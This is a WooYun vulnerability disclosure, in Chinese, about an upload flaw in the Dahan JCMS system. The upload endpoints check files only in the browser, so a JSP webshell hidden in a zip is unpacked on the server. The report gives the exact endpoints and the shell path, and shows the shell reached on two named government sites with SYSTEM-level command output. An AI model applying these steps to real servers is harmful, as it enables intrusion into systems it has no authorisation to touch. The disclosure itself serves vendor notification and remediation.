当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061295

漏洞标题:大汉版通系统再再次getshell之3

相关厂商:南京大汉网络有限公司

漏洞作者: 路人甲

提交时间:2014-05-18 19:08

修复时间:2014-08-16 19:10

公开时间:2014-08-16 19:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-18: 细节已通知厂商并且等待厂商处理中
2014-05-19: 厂商已经确认,细节仅向厂商公开
2014-05-22: 细节向第三方安全合作伙伴开放
2014-07-13: 细节向核心白帽子及相关领域专家公开
2014-07-23: 细节向普通白帽子公开
2014-08-02: 细节向实习白帽子公开
2014-08-16: 细节向公众公开

简要描述:

大汉版通系统再再次getshell之3,同样存在两处..

详细说明:

注:该系统为信息公开系统(xxgk)
#1 漏洞文件

/xxgk/m_5_e/module/opr_module.jsp?fn_billstatus=1
/xxgk/m_5_e/module/review/opr_review_template.jsp


由于第二个文件的上传比较有意思,我们选择其贴下关键的代码

//上传
if (strStatus.equals("S")) {
blf.doUpload(request);
out.println(Convert.getAlterScript("parent.location='./opr_review_template.jsp'"));
return;
}


这两个上传也仅在客户端进行验证

<script language="javascript">
<!--
function GetFileExtension(name)
{
var ext = name.substring(name.lastIndexOf(".") + 1, name.length);
return ext.toLowerCase();
}
function jsUpload()
{
var obj = document.uploadmodal.upfile;
var objImg = document.uploadmodal.upfile1;
if( obj.value == "" && objImg.value == "" ){
alert("请选择要上传的文件!");
obj.focus();
return false;
}

var ext = GetFileExtension( obj.value );
var extimg = GetFileExtension( objImg.value );
//...
if( extimg != "" && extimg != "zip" ){
alert("图片文件格式应该为:zip文件, 请重新选择!");
obj.focus();
return false;
}
var page = "./opr_review_template.jsp?status=S&modaltype=-1";
document.uploadmodal.action = page;
return true;
}
}
</script>


这里既然可以上传 zip 格式的文件,程序肯定会解压缩ZIP包,那么,假如我们在ZIP包里隐藏了我们想要上传的恶意文件,而恰巧程序解压后,并不会删除这些文件,那么不就直接getshell了吗?
#2 漏洞测试
有了这些想法,那么我们就来测试测试,程序的逻辑是不是真如我们想象的那样..
那么,我们首先将要上传的文件打包成zip,这里为shell.zip

1.jpg


由于这套系统网上的实例很多,随机选取两个进行测试..
测试一:

http://xxgk.lyg.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp


打开此页面后,直接上传我们的shell.zip,点击提交即可在服务器上解压并生成Customize.jsp
路径为:

/xxgk/jcms_files/jcms1/web0/site/zfxxgk/letterbox/template/-1/文件名
注:经过多个测试,一般情况都为此路径,极少部分 有可能会更改jcms1 web0后面的数字


连接shell,如图所示

2.jpg


测试二:

http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp


同样直接上传我们的shell.zip,即可在上面的目录下生成:Customize.jsp
同样连接Customize.jsp,如图所示

3.jpg

漏洞证明:

#证明

http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp
C:\WINDOWS\system32\> whoami
nt authority\system
C:\WINDOWS\system32\> ipconfig
Windows IP Configuration
Ethernet adapter 本地连接 2:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.82.17.26
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.82.17.1

修复方案:

严格限制上传的文件

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-19 10:01

厂商回复:

感谢关注

最新状态:

暂无